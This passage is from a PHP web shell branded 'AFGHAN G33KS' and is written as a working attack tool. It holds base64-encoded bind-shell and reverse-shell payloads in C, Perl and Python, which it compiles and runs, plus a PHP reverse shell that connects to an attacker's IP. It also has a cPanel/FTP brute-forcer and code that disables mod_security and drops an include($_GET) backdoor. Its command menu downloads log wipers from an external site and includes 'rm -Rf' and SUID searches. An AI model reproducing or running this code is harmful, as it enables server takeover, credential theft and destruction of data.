5515 if(ajaxRequest.readyState == 4)
5516 {
5517 document.getElementById("showmal").innerHTML=ajaxRequest.responseText;
5518 }
5519 }
5520
5521 ajaxRequest.open("GET", "<?php echo $_SERVER["PHP_SELF"]; ?>?"+malwork+"&path="+malpath, true);
5522 ajaxRequest.send(null);
5523}
5524function getexploit(wurl,path,functiontype)
5525{
5526 document.getElementById("showexp").innerHTML=waitstate;
5527 var ajaxRequest;
5528 ajaxRequest = new XMLHttpRequest();
5529
5530 ajaxRequest.onreadystatechange = function()
5531 {
5532 if(ajaxRequest.readyState == 4)
5533 {
5534 document.getElementById("showexp").innerHTML=ajaxRequest.responseText;
5535 }
5536 }
5537
5538 ajaxRequest.open("GET", "<?php echo $_SERVER["PHP_SELF"]; ?>?uploadurl&wurl="+wurl+"&functiontype="+functiontype+"&path="+path, true);
5539 ajaxRequest.send(null);
5540}
5541function showMsg(msg)
5542{
5543 if(msg == 'smf')
5544 {
5545 document.getElementById('tableprefix').value="smf_";
5546 document.getElementById('fid').style.display='block';
5547 document.getElementById('wpress').style.display='none';
5548 document.getElementById('joomla').style.display='none';
5549 }
5550 if(msg == 'mybb')
5551 {
5552 document.getElementById('tableprefix').value="mybb_";
5553 document.getElementById('wpress').style.display='none';
5554 document.getElementById('joomla').style.display='none';
5555 document.getElementById('fid').style.display='block';
5556 }
5557 if(msg == 'ipb' || msg == 'vb')
5558 {
5559 document.getElementById('tableprefix').value="";
5560 document.getElementById('wpress').style.display='none';
5561 document.getElementById('joomla').style.display='none';
5562 document.getElementById('fid').style.display='block';
5563 }
5564 if(msg == 'wp')
5565 {
5566 document.getElementById('tableprefix').value="wp_";
5567 document.getElementById('wpress').style.display='block';
5568 document.getElementById('fid').style.display='none';
5569 document.getElementById('joomla').style.display='none';
5570 }
5571 if(msg == 'joomla')
5572 {
5573 document.getElementById('joomla').style.display='block';
5574 document.getElementById('tableprefix').value="jos_";
5575 document.getElementById('wpress').style.display='none';
5576 document.getElementById('fid').style.display='none';
5577
5578
5579 }
5580}
5581function checkforum(msg)
5582{
5583 if(msg == 'smf')
5584 {
5585 document.getElementById('tableprefix').value="smf_";
5586 document.getElementById('smfipb').style.display='block';
5587 document.getElementById('myjoomla').style.display='none';
5588 document.getElementById('wordpres').style.display='none';
5589 }
5590 if(msg == 'phpbb')
5591 {
5592 document.getElementById('tableprefix').value="phpb_";
5593 document.getElementById('myjoomla').style.display='none';
5594 document.getElementById('smfipb').style.display='block';
5595 document.getElementById('wordpres').style.display='none';
5596 }
5597 if(msg == 'mybb')
5598 {
5599 document.getElementById('tableprefix').value="mybb_";
5600 document.getElementById('myjoomla').style.display='none';
5601 document.getElementById('smfipb').style.display='none';
5602 }
5603 if(msg == 'vb')
5604 {
5605 document.getElementById('tableprefix').value="";
5606 document.getElementById('myjoomla').style.display='none';
5607 document.getElementById('smfipb').style.display='none';
5608 }
5609 if(msg == 'ipb')
5610 {
5611 document.getElementById('myjoomla').style.display='none';
5612 document.getElementById('smfipb').style.display='block';
5613 document.getElementById('tableprefix').value="";
5614 document.getElementById('wordpres').style.display='none';
5615
5616 }
5617 if(msg == 'wp')
5618 {
5619 document.getElementById('tableprefix').value="wp_";
5620 document.getElementById('myjoomla').style.display='none';
5621 document.getElementById('smfipb').style.display='block';
5622 document.getElementById('wordpres').style.display='block';
5623 }
5624 if(msg == 'joomla')
5625 {
5626 document.getElementById('myjoomla').style.display='block';
5627 document.getElementById('tableprefix').value="jos_";
5628 document.getElementById('smfipb').style.display='none';
5629
5630 }
5631}
5632</script>
5633<body>
5634<?php
5635
5636$back_connect_p="eNqlU01PwzAMvVfqfwjlkkpd94HEAZTDGENCCJC2cRrT1DUZCWvjqk5A/fcs3Rgg1gk0XxLnPT/bsnN60rZYthdKt4vKSNC+53sqL6A0BCuMCEK6EiYi4O52UZSQCkTHkoCGMMeKk/Llbdqd+V4dx4jShu7ee7PQ0TdCMQrDxTKxmTEqF2ANPe/U+LtUmSDdC98ja0NYOe1tTH3Qrde/md8+DCfR1h0/Du7m48lo2L8Pd7FxClqL1FDqqoxcWeE3FIXmNGBH2LMOfum1mu1aJtqibCY4vcs/Cg6AC06uKtIvX63+j+CxHe+pkLFxhUbkSi+BsU3eDQsw5rboUcdermergYZR5xDYPQT2DoFnn8OQIsvc4uw2NU6TLKPTwOokF0EUtJJgFu5r4wlFSRT/2UOznuJfOo2k+l+hdGnVmv4Bmanx6Q==";
5637
5638$backconnect_perl="eNqlUl9rwjAQfxf8Drcqa4UWt1dLZU7rJmN2tNWXTUps45qtJiVNGf32S9pOcSAI3kNI7vcnd9z1boZlwYdbQoc55llZYFh4o1HA4m8s7G6n2+kXVSHwHmQ4oNfMLSpSXYL9if80dR7kuZYvpW110LzmJMPPiCYZVplup6hRI/CmL25owts8WizVRSWiIPTdyasJn1jknAm2rSjaY0MXca4PBtI/ZpTi+ChXbihJeESooSpZv99vTCAUiwgJ9pe72wykuv6+EVpjVAq2k62mRg2wHFMjCGeLpQna+LZhaSeQtwrNM5Dr+/+hnBMqQHOuiA+q2Qcj63zMUkRlI+cJlxhNWYITeKxgwr9KeonRda01Vs1aGRqOUwaW5ThBnSB0xxzHsmwo1fzBQjYoin3grQrMjyyS2KfwjHC5JYxXDZ7/tAQ4fpTiLFMoqHm1dbRrrhat53rzX0SL2FA=";
5639
5640$bind_port_c="bZJRT9swEIDfK/U/eEVa7WJK0mkPrMukaoCEpnUT8DKVKjK2Q05LbMt2KGzw3+ekKQ0Zfkn83efL3TkHoHhRCYk+Oy9AT/Mvw8FBh1lQdz1YKQhuDyrpxe1/p0UBWwjKo5KBwvULs3ecIp4ziyaTsLkn6O9wgMKqo45yCvPtvnHM6kO0bkEoqOLB0fw3E8KmoJBtQ4LJUisc04jsZJQ0pvR4cZ5eLM+u6dWPr9/Sq+vLs8X3vQcZfucIstJXVqGjuMV26kClGSuheAyZ2hSvgkZbH0K518ph5jXgup1VvCbklVfXOnXNo9ULfLFcnJ5epovlr517C0pgRxHudYkm5L2lKHqIX0ouwhVIVcsfd2iTQyFx/DLLZn4J41waH8Ro328zrcrMMH+TxW+wWZdtLHgZ4Ognc26jrfg0oiddwUomQtxQB3+kzrAh3WimLYYkmkP9exWhC0PmcHhI9kZ7KQibFaxRkqDxjRoT9PTUJTaQ3pl6bYUQj8adb0LWTJWXZntDszU1pM4T9VK4xzDYEo+Ow2UcuxwdwahbOy+0C63v0PNw8PwP";
5641
5642$bind_port_p="bZFvS8NADMZft9DvkNUxW6hsw5f+wbJVHc5WelUQldK1mTucd6W94cTtu3tpN1DxXS753ZMnyUGnv6qr/oyLfonV0jK77DqYTs/sJlUv4IjbJ5bJ5+Bc+PHVA5zC0IUvwDVXztA9ga1lrmoEJvM3VJqsm8BhXu/uMp2EQeL1WDS6SVkSB/6t94qqrKSSs0+RvaNzqPLy0HVhs4GCI9ijTCjIK8wUQqv0LKh/jYqesiRlFk1T0tTaLErj4J4F/ngce9qOZWrbhWaIzoqiSrlwumT8afDiTULiUj98/NtSliiglNWu3ZLXCoWWOf7DtYUf5MeCL9GhlVimkeU5aoejKAw9RmYMPnc6TrfkxdlcVm9uixl7PSEVUN4G2m+nwDkXWADxzW+jscWS8ST07NMe6dq/8tF94tnn/xSCOP5dwDXm0N52P1FZcT0RIbvhiFnpxbdYO59h5Eup70vYTogrGFCoL7/9Bg==";
5643shellstyle();
5644?>
5645<div align="center">
5646<a href="<?php $_SERVER['PHP_SELF'];?>"><font size="6" color="#FF0000" style="text-decoration:none;" face="Times New Roman, Times, serif">.::: AFGHAN G33KS :::.</font></a>
5647
5648</div>
5649<hr color="#1B1B1B">
5650
5651<table cellpadding="0" style="width:100%;">
5652 <tr>
5653 <td colspan="2" style="width:75%;">System Info : <font class="txt"><?php systeminfo(); ?></font></td>
5654 <td style="width:10%;">Server Port : <font class="txt"><?php serverport(); ?></font></td>
5655 <td style="width:15%;"><a href=# onClick="maindata('com')"><font class="txt"><i>Software Info</i></font></a></td>
5656 </tr>
5657 <?php if($os != 'Windows' || shell_exec("id") != null) { ?><tr>
5658 <td style="width:75%;" colspan="2">Uid : <font class="txt"><?php echo shell_exec("id"); ?></font></td>
5659 <?php $d0mains = @file("/etc/named.conf");
5660 $users=@file('/etc/passwd');
5661 if($d0mains)
5662 {
5663 $count;
5664 foreach($d0mains as $d0main)
5665 {
5666 if(@ereg("zone",$d0main))
5667 {
5668 preg_match_all('#zone "(.*)"#', $d0main, $domains);
5669 flush();
5670 if(strlen(trim($domains[1][0])) > 2)
5671 {
5672 flush();
5673 $count++;
5674 }
5675 }
5676 }
5677 ?><td colspan=2 style="width:75%;">Websites : <font class="txt"><?php echo "$count Domains"; ?></font></td><?php
5678 }
5679 else if($users)
5680 {
5681 $file = fopen("/etc/passwd", "r");
5682 while(!feof($file))
5683 {
5684 $s = fgets($file);
5685 $matches = array();
5686 $t = preg_match('/\/(.*?)\:\//s', $s, $matches);
5687 $matches = str_replace("home/","",$matches[1]);
5688 if(strlen($matches) > 12 || strlen($matches) == 0 || $matches == "bin" || $matches == "etc/X11/fs" || $matches == "var/lib/nfs" || $matches == "var/arpwatch" || $matches == "var/gopher" || $matches == "sbin" || $matches == "var/adm" || $matches == "usr/games" || $matches == "var/ftp" || $matches == "etc/ntp" || $matches == "var/www" || $matches == "var/named")if(strlen($matches) > 12 || strlen($matches) == 0 || $matches == "bin" || $matches == "etc/X11/fs" || $matches == "var/lib/nfs" || $matches == "var/arpwatch" || $matches == "var/gopher" || $matches == "sbin" || $matches == "var/adm" || $matches == "usr/games" || $matches == "var/ftp" || $matches == "etc/ntp" || $matches == "var/www" || $matches == "var/named")
5689 continue;
5690 $count++;
5691 }
5692 ?><td colspan=2 style="width:75%;">Websites : <font class="txt"><?php echo "$count Domains"; ?></font></td><?php } ?>
5693 </tr><?php } ?>
5694 <tr>
5695 <td style="width:20%;">Disk Space : <font class="txt"><?php echo HumanReadableFilesize(diskSpace()); ?></font></td>
5696 <td style="width:20%;">Free Space : <font class="txt"><?php echo HumanReadableFilesize(freeSpace()); $dksp = diskSpace(); $frsp = freeSpace(); echo " (".(int)($frsp/$dksp*100)."%)"; ?></font></td>
5697
5698 <td style="width:20%;">Server IP : <font class="txt"><a href="http://whois.domaintools.com/<?php serverip(); ?>"><?php serverip(); ?></a></font></td>
5699 <td style="width:15%;">Your IP : <font class="txt"><a href="http://whois.domaintools.com/<?php yourip(); ?>"><?php yourip(); ?></a></font></td>
5700 </tr>
5701
5702 <tr>
5703 <?php if($os == 'Windows'){ ?><td style="width:15%;">View Directories : <font class="txt"><?php echo showDrives();?></font></td><?php } ?>
5704 <td style="width:30%;">Current Directory : <span id="crdir"><font color="#009900">
5705 <?php
5706 $d = str_replace("\\",$directorysperator,$dir);
5707 if (substr($d,-1) != $directorysperator) {$d .= $directorysperator;}
5708 $d = str_replace("\\\\","\\",$d);
5709 $dispd = htmlspecialchars($d);
5710 $pd = $e = explode($directorysperator,substr($d,0,-1));
5711 $i = 0;
5712 foreach($pd as $b)
5713 {
5714 $t = '';
5715 $j = 0;
5716 foreach ($e as $r)
5717 {
5718 $t.= $r.$directorysperator;
5719 if ($j == $i) {break;}
5720 $j++;
5721 }
5722$href=addslashes($t);
5723
5724 echo "<a href=javascript:void(0) onClick=\"changedir('dir','$href')\"><b><font class=\"txt\">".htmlspecialchars($b).$directorysperator.'</font></b></a>';
5725 $i++;
5726 }
5727
5728 ?>
5729 </font></span> <a href=# onClick="gethome('home','<?php echo addslashes(getcwd()); ?>')">[Home]</a></td>
5730 <td style="width:20%;">Disable functions : <font class="txt"><?php echo getDisabledFunctions(); ?> </font></td>
5731 <td>Safe Mode : <font class=txt><?php echo safe(); ?></font></td>
5732 <?php if($os == "Linux") { ?><td><a href="<?php echo $self.'?downloadit'?>"><font color="#FF0000">Download It</font></a><?php } ?></td>
5733 </tr>
5734 </table>
5735
5736<?php $m1 = array('Symlink'=>'symlinkserver','Forum'=>'forum','Sec. Info'=>'secinfo','Code Inject'=>'injector','Bypassers'=>'bypass','Server Fuzzer'=>'fuzz','Zone-h'=>'zone','DoS'=>'dos','Mail'=>'mailbomb','Tools'=>'tools','PHP'=>'phpc','Exploit'=>'exploit','Connect'=>'connect');
5737 $m2 = array('SQL'=>'database','404 Page'=>'404','Malware Attack'=>'malattack','Cpanel Cracker'=>'cpanel','About'=>'about');
5738 echo "<table border=3 style=border-color:#333333; width=100%; cellpadding=2>
5739 <tr>";
5740 $menu = '';
5741
5742 foreach($m1 as $k => $v)
5743 $menu .= "<td style=\"border:none;\"><a href=# onClick=\"maindata('".$v."')\"><font class=\"mainmenu\">[".$k."]</font></a></td>";
5744 echo $menu;
5745 echo "</tr>
5746</table>
5747<div style=\"float:left;\">
5748 <a href=\"javascript:history.back(1)\"><font class=txt size=3> [Back] </font></a>
5749 <a href=\"javascript:history.go(1)\"><font class=txt size=3> [Forward] </font></a>
5750 <a href=\"\"><font class=txt size=3> [Refresh] </font></a></div>
5751<table style=\"margin-left:270px; border-color:#333333;\" border=2 width=60%; cellpadding=2>
5752 <tr align=center>";
5753 foreach($m2 as $k => $v)
5754 $menu1 .= "<td style=\"border:none;\"><a href=# onClick=\"maindata('".$v."','".addslashes($_GET['dir'])."')\"><font class=\"mainmenu\">[".$k."]</font></a></td>";
5755 echo $menu1;
5756 echo "<td style=\"border:none;\"><a href=javascript:void(0) onClick=\"if(confirm('Are You Sure You Want To Kill This Shell ?')){getmydata('selfkill');}else{return false;}\"><font class=mainmenu>[SelfKill]</font></a></td>
5757 <td style=\"border:none;\"><a href=\"$self?logout\"><font class=mainmenu>[LogOut]</font></a></td>
5758 </tr>
5759</table>";?>
5760
5761<div id="showmaindata"></div>
5762<?php
5763
5764if(isset($_GET["downloadit"]))
5765{
5766 $FolderToCompress = getcwd();
5767 execmd("tar --create --recursion --file=backup.tar $FolderToCompress");
5768
5769 $prd=explode("/","backup.tar");
5770 for($i=0;$i<sizeof($prd);$i++)
5771 {
5772 $nfd=$prd[$i];
5773 }
5774 @ob_clean();
5775 header("Content-type: application/octet-stream");
5776 header("Content-length: ".filesize($nfd));
5777 header("Content-disposition: attachment; filename=\"".$nfd."\";");
5778 readfile($nfd);
5779 exit;
5780}
5781//Turn Safe Mode Off
5782
5783 if(getDisabledFunctions() != "None" || safe() != "OFF")
5784 {
5785 $file_pointer = fopen(".htaccess", "w+");
5786 fwrite($file_pointer, "<IfModule mod_security.c>
5787 SecFilterEngine Off
5788 SecFilterScanPOST Off
5789 </IfModule> \n\r");
5790
5791 $file_pointer = fopen("ini.php", "w+");
5792 fwrite($file_pointer, "<?
5793echo ini_get(\"safe_mode\");
5794echo ini_get(\"open_basedir\");
5795include(\$_GET[\"file\"]);
5796ini_restore(\"safe_mode\");
5797ini_restore(\"open_basedir\");
5798echo ini_get(\"safe_mode\");
5799echo ini_get(\"open_basedir\");
5800include(\$_GET[\"ss\"]);
5801?>");
5802
5803 $file_pointer = fopen("php.ini", "w+");
5804 fwrite($file_pointer, "safe_mode = Off");
5805
5806 fclose($file_pointer);
5807
5808 }
5809
5810 else if(isset($_POST['cpanelattack']))
5811 {
5812 if(!empty($_POST['username']) && !empty($_POST['password']))
5813 {
5814 $userlist=explode("\n",$_POST['username']);
5815 $passlist=explode("\n",$_POST['password']);
5816
5817 if($_POST['cracktype'] == "ftp")
5818 {
5819 foreach ($userlist as $user)
5820 {
5821 $pureuser = trim($user);
5822 foreach ($passlist as $password )
5823 {
5824 $purepass = trim($password);
5825 ftp_check($_POST['target'],$pureuser,$purepass,$connect_timeout);
5826 }
5827 }
5828 }
5829 if ($_POST['cracktype'] == "cpanel" || $_POST['cracktype'] == "telnet")
5830 {
5831 if($cracktype == "telnet")
5832 $cpanel_port="23";
5833 else
5834 $cpanel_port="2082";
5835 foreach ($userlist as $user)
5836 {
5837 $pureuser = trim($user);
5838
5839 echo "<b><font face=Tahoma style=\"font-size: 9pt\" color=#008000> [ - ] </font><font face=Tahoma style=\"font-size: 9pt\" color=#FF0800>
5840 Processing user $pureuser ...</font></b><br><br>";
5841
5842 foreach ($passlist as $password )
5843 {
5844 $purepass = trim($password);
5845 cpanel_check($_POST['target'],$pureuser,$purepass,$connect_timeout);
5846
5847 }
5848 }
5849 }
5850 }
5851 else
5852 $bdmessage = "<center>Enter Username & Password List<center>";
5853 }
5854
5855else if(isset($_GET['info']))
5856{
5857 $bdmessage = "<br><div align=left><font class=txt>".nl2br(shell_exec("whois ".$_GET['info']))."</font></div>";
5858}
5859else if(isset($_POST['u']))
5860{
5861 $path = $_REQUEST['path'];
5862 if(is_dir($path))
5863 {
5864 $setuploadvalue = 0;
5865 $uploadedFilePath = $_FILES['uploadfile']['name'];
5866 $tempName = $_FILES['uploadfile']['tmp_name'];
5867 if($os == "Windows")
5868 $uploadPath = $path . $directorysperator . $uploadedFilePath;
5869 else if($os == "Linux")
5870 $uploadPath = $path . $directorysperator . $uploadedFilePath;
5871 if($stat = move_uploaded_file($_FILES['uploadfile']['tmp_name'] , $uploadPath))
5872 $bdmessage = "<font class=txt size=3><blink>File uploaded to $uploadPath</blink></font>";
5873 else
5874 $bdmessage = "<font size=3><blink>Failed to upload file to $uploadPath</blink></font>";
5875 }
5876 ?><script type="text/javascript">changedir('dir','<?php echo addslashes($path); ?>'); </script><?php
5877}
5878else if(isset($_POST['backdoor']))
5879{
5880 if(isset($_POST['passwd']) && isset($_POST['port']) && isset($_POST['lang']))
5881 { ?><script type="text/javascript">gethome('connect');</script><?php
5882 $passwd = $_POST['passwd'];
5883
5884 if($_POST['lang'] == 'c')
5885 {
5886 if(is_writable("."))
5887 {
5888 @$fh=fopen(getcwd()."/backp.c",'w');
5889 @fwrite($fh,gzinflate(base64_decode($bind_port_c)));
5890 @fclose($fh);
5891 execmd("chmod 0755 ".getcwd()."/backp.c");
5892 execmd("gcc -o ".getcwd()."/backp ".getcwd()."/backp.c");
5893 execmd("chmod 0755 ".getcwd()."/backp");
5894 execmd(getcwd()."/backp"." ".$_POST['port']." ". $passwd ." &");
5895 $scan = exec_all("ps aux | grep backp".$_POST['port']);
5896 if(eregi("backp".$_POST['port'],$scan))
5897 $bdmessage = "Process found running, backdoor setup successfully.";
5898 else
5899 $bdmessage = "Process not found running, backdoor not setup successfully.";
5900 }
5901 else
5902 {
5903 @$fh=fopen("/tmp/backp.c","w");
5904 @fwrite($fh,gzinflate(base64_decode($bind_port_c)));
5905 @fclose($fh);
5906 execmd("chmod 0755 /tmp/backp.c");
5907 execmd("gcc -o /tmp/backp /tmp/backp.c");
5908 $out = execmd("/tmp/backp"." ".$_POST['port']." ". $passwd ." &");
5909 $scan = exec_all("ps aux | grep backp".$_POST['port']);
5910 if(eregi("backp".$_POST['port'],$scan))
5911 $bdmessage = "Process found running, backdoor setup successfully.";
5912 else
5913 $bdmessage = "Process not found running, backdoor not setup successfully.";
5914 }
5915 }
5916 if($_POST['lang'] == 'perl')
5917 {
5918 if(is_writable("."))
5919 {
5920 @$fh=fopen(getcwd()."/bp.pl",'w');
5921 @fwrite($fh,gzinflate(base64_decode($bind_port_p)));
5922 @fclose($fh);
5923 execmd("chmod 0755 ".getcwd()."/bp.pl");
5924 execmd("perl ".getcwd()."/bp.pl ".$_POST['port']." ". $passwd ." &");
5925
5926 $bdmessage = "<pre>$out\n".execmd("ps aux | grep bp.pl")."</pre>";
5927 }
5928 else
5929 {
5930 @$fh=fopen("/tmp/bp.pl","w");
5931 @fwrite($fh,gzinflate(base64_decode($bind_port_p)));
5932 @fclose($fh);
5933 execmd("chmod 0755 ".getcwd()."/bp.pl");
5934 execmd("perl ".getcwd()."/bp.pl ".$_POST['port']." ". $passwd ." &");
5935 $bdmessage = "<pre>$out\n".execmd("ps aux | grep bp.pl")."</pre>";
5936 }
5937 }
5938 }
5939}
5940else if(isset($_POST['backconnect']))
5941{
5942 if($_POST['ip'] != "" && $_POST['port'] != "")
5943 { ?><script type="text/javascript">gethome('connect');</script><?php
5944 $host = $_POST['ip'];
5945 $port = $_POST['port'];
5946 if($_POST["lang"] == "perl")
5947 {
5948 if(is_writable("."))
5949 {
5950 @$fh=fopen(getcwd()."/bc.pl",'w');
5951 @fwrite($fh,gzuncompress(base64_decode($backconnect_perl)));
5952 @fclose($fh);
5953 $bdmessage = "<font color='#FFFFFF'>Trying to connect...</font>";
5954 execmd("perl ".getcwd()."/bc.pl $host $port &",$disable);
5955 if(!@unlink(getcwd()."/bc.pl")) echo "<font color='#FFFFFF' size=3>Warning: Failed to delete reverse-connection program</font></br>";
5956 }
5957 else
5958 {
5959 @$fh=fopen("/tmp/bc.pl","w");
5960 @fwrite($fh,gzuncompress(base64_decode($backconnect_perl)));
5961 @fclose($fh);
5962 $bdmessage = "<font color='#FFFFFF'>Trying to connect...</font>";
5963 execmd("perl /tmp/bc.pl $host $port &",$disable);
5964 if(!@unlink("/tmp/bc.pl"))
5965 echo "<h2>Warning: Failed to delete reverse-connection program</h2></br>";
5966 }
5967 }
5968 else if($_POST["lang"] == "python")
5969 {
5970 if(is_writable("."))
5971 {
5972 $w_file=@fopen(getcwd()."/bc.py","w") or die(mysql_error());
5973 if($w_file)
5974 {
5975 @fputs($w_file,gzuncompress(base64_decode($back_connect_p)));
5976 @fclose($w_file);
5977 chmod(getcwd().'/bc.py', 0777);
5978 }
5979 execmd("python ".getcwd()."/bc.py $host $port &",$disable);
5980 $bdmessage = "<font color='#FFFFFF'>Trying to connect...</font>";
5981
5982 if(!@unlink(getcwd()."/bc.py"))
5983 echo "<h2>Warning: Failed to delete reverse-connection program</h2></br>";
5984 }
5985 else
5986 {
5987 $w_file=@fopen("/tmp/bc.py","w");
5988 if($w_file)
5989 {
5990 @fputs($w_file,gzuncompress(base64_decode($back_connect_p)));
5991 @fclose($w_file);
5992 chmod('/tmp/bc.py', 0777);
5993 }
5994 execmd("python /tmp/bc.py $host $port &",$disable);
5995 $bdmessage = "<font color='#FFFFFF'>Trying to connect...</font>";
5996 if(!@unlink("/tmp/bc.py"))
5997 echo "<h2>Warning: Failed to delete reverse-connection program</h2><br>";
5998 }
5999 }
6000 else if($_POST["lang"] == "php")
6001 {
6002 $bdmessage = "<font color='#FFFFFF'>Trying to connect...</font>";
6003 $ip = $_POST['ip'];
6004 $port=$_POST['port'];
6005 $sockfd=fsockopen($ip , $port , $errno, $errstr );
6006 if($errno != 0)
6007 {
6008 $bdmessage = "<font color='red'><b>$errno</b> : $errstr</font>";
6009 }
6010 else if (!$sockfd)
6011 {
6012 $result = "<p>Fatal : An unexpected error was occured when trying to connect!</p>";
6013 }
6014 else
6015 {
6016 fputs ($sockfd ,"\n=================================================================\nCoded By D4RK N1NJ4 | \n=================================================================");
6017 $pwd = exec_all("pwd");
6018 $sysinfo = exec_all("uname -a");
6019 $id = exec_all("id");
6020 $len = 1337;
6021 fputs($sockfd ,$sysinfo . "\n" );
6022 fputs($sockfd ,$pwd . "\n" );
6023 fputs($sockfd ,$id ."\n\n" );
6024 fputs($sockfd ,$dateAndTime."\n\n" );
6025 while(!feof($sockfd))
6026 {
6027 $cmdPrompt ="(dhanush)[$]> ";
6028 fputs ($sockfd , $cmdPrompt );
6029 $command= fgets($sockfd, $len);
6030 fputs($sockfd , "\n" . exec_all($command) . "\n\n");
6031 }
6032 fclose($sockfd);
6033 }
6034 }
6035 }
6036}
6037else if (isset ($_GET['val1'], $_GET['val2']) && is_numeric($_GET['val1']) && is_numeric($_GET['val2']))
6038{
6039 $temp = "";
6040 for(;$_GET['val1'] <= $_GET['val2'];$_GET['val1']++)
6041 {
6042 $uid = @posix_getpwuid($_GET['val1']);
6043 if ($uid)
6044 $temp .= join(':',$uid)."\n";
6045 }
6046 echo '<br/>';
6047 paramexe('Users', $temp);
6048}
6049else if(isset($_GET['download']))
6050{
6051 download();
6052}
6053else
6054{
6055 ?><script type="text/javascript">gethome('home','<?php echo addslashes($dir); ?>');</script><?php
6056}
6057$is_writable = is_writable($dir)?"<font class=txt>< writable ></font>":"< not writable >";
6058?>
6059</p><center><div id="showdir"><?php echo $bdmessage; ?></div></center>
6060<table style="width:100%;border-color:#333333;" border="1">
6061<tr>
6062<td align="center">
6063<form method="post" enctype="multipart/form-data">
6064Upload file : <br><input type="file" name="uploadfile" class="box" size="50">
6065<input type="hidden" id=path name="path" value="<?php echo $dir; ?>" />
6066<input type=submit value="Upload" name="u" value="u" class="but" ></form>
6067<span name="wrtble"><?php
6068echo $is_writable; ?></span>
6069 <br>
6070</td>
6071<td align="center" style="height:105px;">Create File :
6072<form onSubmit="createdir('Create',createfile.value);return false;">
6073<input type="text" class="box" value="<?php echo $dir . $directorysperator; ?>" name="createfile" id="createfile">
6074<input type="button" onClick="createdir('Create',createfile.value)" value="Create" class="but">
6075</form><span name="wrtble">
6076<?php echo $is_writable; ?></span>
6077</td>
6078</tr>
6079<tr>
6080<td align="center" style="height:105px;">Execute : <form onSubmit="executemyfile('execute','<?php echo addslashes($dir); ?>',execute.value);return false;">
6081<input type="text" class="box" name="execute">
6082<input type="hidden" id="exepath" name="exepath" value="<?php echo $dir; ?>">
6083 <input type="button" onClick="executemyfile('execute',exepath.value,execute.value)" value="Execute" class="but"></form></td>
6084
6085<td align="center">Create Directory : <form onSubmit="createdir('createfolder',createfolder.value);return false;">
6086<input type="text" value="<?php echo $dir . $directorysperator; ?>" class="box" name="createfolder" id="createfolder">
6087<input type="button" onClick="createdir('createfolder',createfolder.value)" value="Create" class="but">
6088</form><span name="wrtble"><?php
6089echo $is_writable;
6090?></span></td></tr>
6091<tr><td style="height:105px;" align="center">Get Exploit <form onSubmit="getexploit(wurl.value,path.value,functiontype.value);return false;">
6092<input type="text" name="wurl" class="box" value="http://www.some-code/exploits.c">
6093<input type="button" onClick="getexploit(wurl.value,uppath.value,functiontype.value)" value=" G0 " class="but"><br><br>
6094<input type="hidden" id="uppath" name="uppath" value="<?php echo $dir . $directorysperator; ?>">
6095<select name="functiontype" class="sbox">
6096<option value="wwget">wget</option>
6097<option value="wlynx">lynx</option>
6098<option value="wfread">fread</option>
6099<option value="wfetch">fetch</option>
6100<option value="wlinks">links</option>
6101<option value="wget">GET</option>
6102<option value="wcurl">curl</option>
6103</select>
6104</form><div id="showexp"></div>
6105</td>
6106<td align="center">
6107<form>
6108Some Commands<br>
6109<?php if($os != "Windows")
6110{ ?>
6111<SELECT NAME="mycmd" class="box">
6112 <OPTION VALUE="uname -a">Kernel version
6113 <OPTION VALUE="w">Logged in users
6114 <OPTION VALUE="lastlog">Last to connect
6115 <option value='cat /etc/hosts'>IP Addresses
6116 <option value='cat /proc/sys/vm/mmap_min_addr'>Check MMAP
6117 <OPTION VALUE="logeraser">Log Eraser
6118 <OPTION VALUE="find / -perm -2 -ls">Find all writable directories
6119 <OPTION VALUE="find . -perm -2 -ls">Find all writable directories in Current Folder
6120 <OPTION VALUE="find / -type f -name \"config*\"">find config* files
6121 <OPTION VALUE="find . -type f -name \"config*\"">find config* files in current dir
6122 <OPTION VALUE="find . -type f -perm -04000 -ls">find suid files in current dir
6123 <OPTION VALUE="find / -type f -perm -04000 -ls">find all suid files
6124 <OPTION VALUE="find / -user root -perm -022">find all sgid files
6125 <OPTION VALUE="find . -type f -perm -02000 -ls">find suid files in current dir
6126 <OPTION VALUE="find /bin /usr/bin /usr/local/bin /sbin /usr/sbin /usr/local/sbin -perm -4000 2> /dev/null">Suid bins
6127 <OPTION VALUE="cut -d: -f1,2,3 /etc/passwd | grep ::">USER WITHOUT PASSWORD!
6128 <OPTION VALUE="find /etc/ -type f -perm -o+w 2> /dev/null">Write in /etc/?
6129 <?php if(is_dir('/etc/valiases')){ ?><option value="ls -l /etc/valiases">List of Cpanel`s domains(valiases)</option><?php } ?>
6130 <?php if(is_dir('/etc/vdomainaliases')) { ?><option value=\"ls -l /etc/vdomainaliases">List Cpanel`s domains(vdomainaliases)</option><?php } ?>
6131 <OPTION VALUE="which wget curl w3m lynx">Downloaders?
6132 <OPTION VALUE="cat /proc/version /proc/cpuinfo">CPUINFO
6133 <OPTION VALUE="ps aux">Show running proccess
6134 <OPTION VALUE="uptime">Uptime check
6135 <OPTION VALUE="cat /proc/meminfo">Memory check
6136 <OPTION VALUE="netstat -an | grep -i listen">Open ports
6137 <OPTION VALUE="rm -Rf">Format box (DANGEROUS)
6138 <OPTION VALUE="wget www.ussrback.com/UNIX/penetration/log-wipers/zap2.c">WIPELOGS PT1 (If wget installed)
6139 <OPTION VALUE="gcc zap2.c -o zap2">WIPELOGS PT2
6140 <OPTION VALUE="./zap2">WIPELOGS PT3
6141 <OPTION VALUE="cat /var/cpanel/accounting.log">Get cpanel logs
6142 </SELECT>
6143 <?php } else {?>
6144 <SELECT NAME="mycmd" class="box">
6145 <OPTION VALUE="dir /s /w /b *config*.php">Find *config*.php in current directory
6146 <OPTION VALUE="dir /s /w /b index.php">Find index.php in current dir
6147 <OPTION VALUE="systeminfo">System Informations
6148 <OPTION VALUE="net user">User accounts
6149 <OPTION VALUE="netstat -an">Open ports
6150 <OPTION VALUE="getmac">Get Mac Address
6151 <OPTION VALUE="net start">Show running services
6152 <OPTION VALUE="net view">Show computers
6153 <OPTION VALUE="arp -a">ARP Table
6154 <OPTION VALUE="tasklist">Show Process
6155 <OPTION VALUE="ipconfig/all">IP Configuration
6156
6157 </SELECT>
6158 <?php } ?>
6159 <input type="hidden" id="auexepath" name="auexepath" value="<?php echo $dir; ?>">
6160<input type="button" onClick="executemyfile('mycmd',auexepath.value,mycmd.value)" value="Execute" class="but">
6161</form>
6162</td>
6163</tr></table><br>
6164
6165</td>
6166</tr>
6167</table>
6168
6169<?php
6170
6171
6172//logout
6173
6174if(isset($_GET['logout']))
6175{
6176 setcookie("hacked",time() - 60*60);
6177 header("Location:$self");
6178 ob_end_flush();
